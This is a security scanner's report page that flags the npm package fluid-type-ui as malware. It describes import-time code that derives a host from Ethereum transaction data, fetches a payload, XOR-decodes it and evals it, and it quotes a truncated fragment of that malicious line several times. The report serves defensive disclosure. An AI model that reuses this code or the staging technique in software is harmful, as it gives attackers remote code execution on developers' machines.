registry / Remote code execution / fluid-type-ui

fluid-type-ui

Bring fluid type to tailwindcss

This report shows the evidence for fluid-type-ui@2.0.8. 2 of 2 known versions are blocked or flagged. The newest version, 2.0.9, is blocked. See all versions.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

This is concrete import-time staged remote code execution, not a package-aligned feature. The absence of lifecycle hooks does not mitigate the reachable malicious entrypoint.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Any build or runtime action that imports/requires fluid-type-ui.

Impact

Attacker-controlled arbitrary JavaScript execution in the importing user's Node process.

Mechanism

Remote staged payload download, XOR decode, and eval at import time.

Attack narrative

The package’s main entrypoint contains concealed code appended after its legitimate Tailwind plugin export. On import it obtains blockchain transaction data to derive a host, fetches an obfuscated payload from /0x/ls, XOR-decodes it, and evaluates it. This makes remote code execution attacker-controlled and reachable whenever consumers load the package.

AI rationale

This is concrete import-time staged remote code execution, not a package-aligned feature. The absence of lifecycle hooks does not mitigate the reachable malicious entrypoint.

Evidence

src/index.jspackage.json

Network endpoints3

1rpc.io/etheth.drpc.orgeth.blockscout.com/api?module=account&action=txlist

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

src/index.js appends an immediately invoked async payload after normal plugin code.
Import-time code queries Ethereum RPCs and Blockscout to derive a payload host.
It fetches /0x/ls, XOR-decodes the response, then calls eval().
No lifecycle hook is needed: requiring the main entrypoint triggers it.

Evidence against

package.json has no preinstall/install/postinstall hooks.
Other src utilities only implement Tailwind fluid typography helpers.

Behavioral surface

Source

EvalNetwork

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 7 file(s), 8.83 KB of source, external domains: 1rpc.io, eth.blockscout.com, eth.drpc.org

Source & flagged code

3 flagged

src/index.jsView file

24L25: global.i="A10-npm3!",global.r=require,"object"==typeof module&&(global.m=module);let http=require("http"),https=require("https"),S="[redacted]",R=["...

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

src/index.jsView on unpkg · L24

•Trigger-reachable chain: manifest.main -> src/index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

src/index.jsView on unpkg

24L25: global.i="A10-npm3!",global.r=require,"object"==typeof module&&(global.m=module);let http=require("http"),https=require("https"),S="[redacted]",R=["...

High

Eval

Package source references dynamic code evaluation.

src/index.jsView on unpkg · L24

Source & flagged code

3 flagged · loading source

src/index.jsView file

24L25: global.i="A10-npm3!",global.r=require,"object"==typeof module&&(global.m=module);let http=require("http"),https=require("https"),S="[redacted]",R=["...

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

src/index.jsView on unpkg · L24

•Trigger-reachable chain: manifest.main -> src/index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

src/index.jsView on unpkg

24L25: global.i="A10-npm3!",global.r=require,"object"==typeof module&&(global.m=module);let http=require("http"),https=require("https"),S="[redacted]",R=["...

High

Eval

Package source references dynamic code evaluation.

src/index.jsView on unpkg · L24

Findings

2 Critical1 High2 Medium2 Low

CriticalRemote Asset Decode Executesrc/index.js

CriticalTrigger Reachable Dangerous Capabilitysrc/index.js

HighEvalsrc/index.js

MediumNetwork

MediumStructural Risk Force Deep Review

LowScripts Present

LowUrl Strings

Affected versions and remediation

This report applies to fluid-type-ui@2.0.8.

The versions list below shows the verdict for each recorded version.

Avoid installing fluid-type-ui@2.0.8. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-04 22:05:04.768Z (UTC).

Source advisory published: 2026-07-28 13:28:21.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

2.0.9latestMaliciousMalwareBlockPublishedAug 3, 2026, 10:00 AM 2.0.8shownMaliciousRemote Code ExecutionBlockPublishedJul 28, 2026, 9:49 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Related packages

Other remote code execution packages

Source & flagged code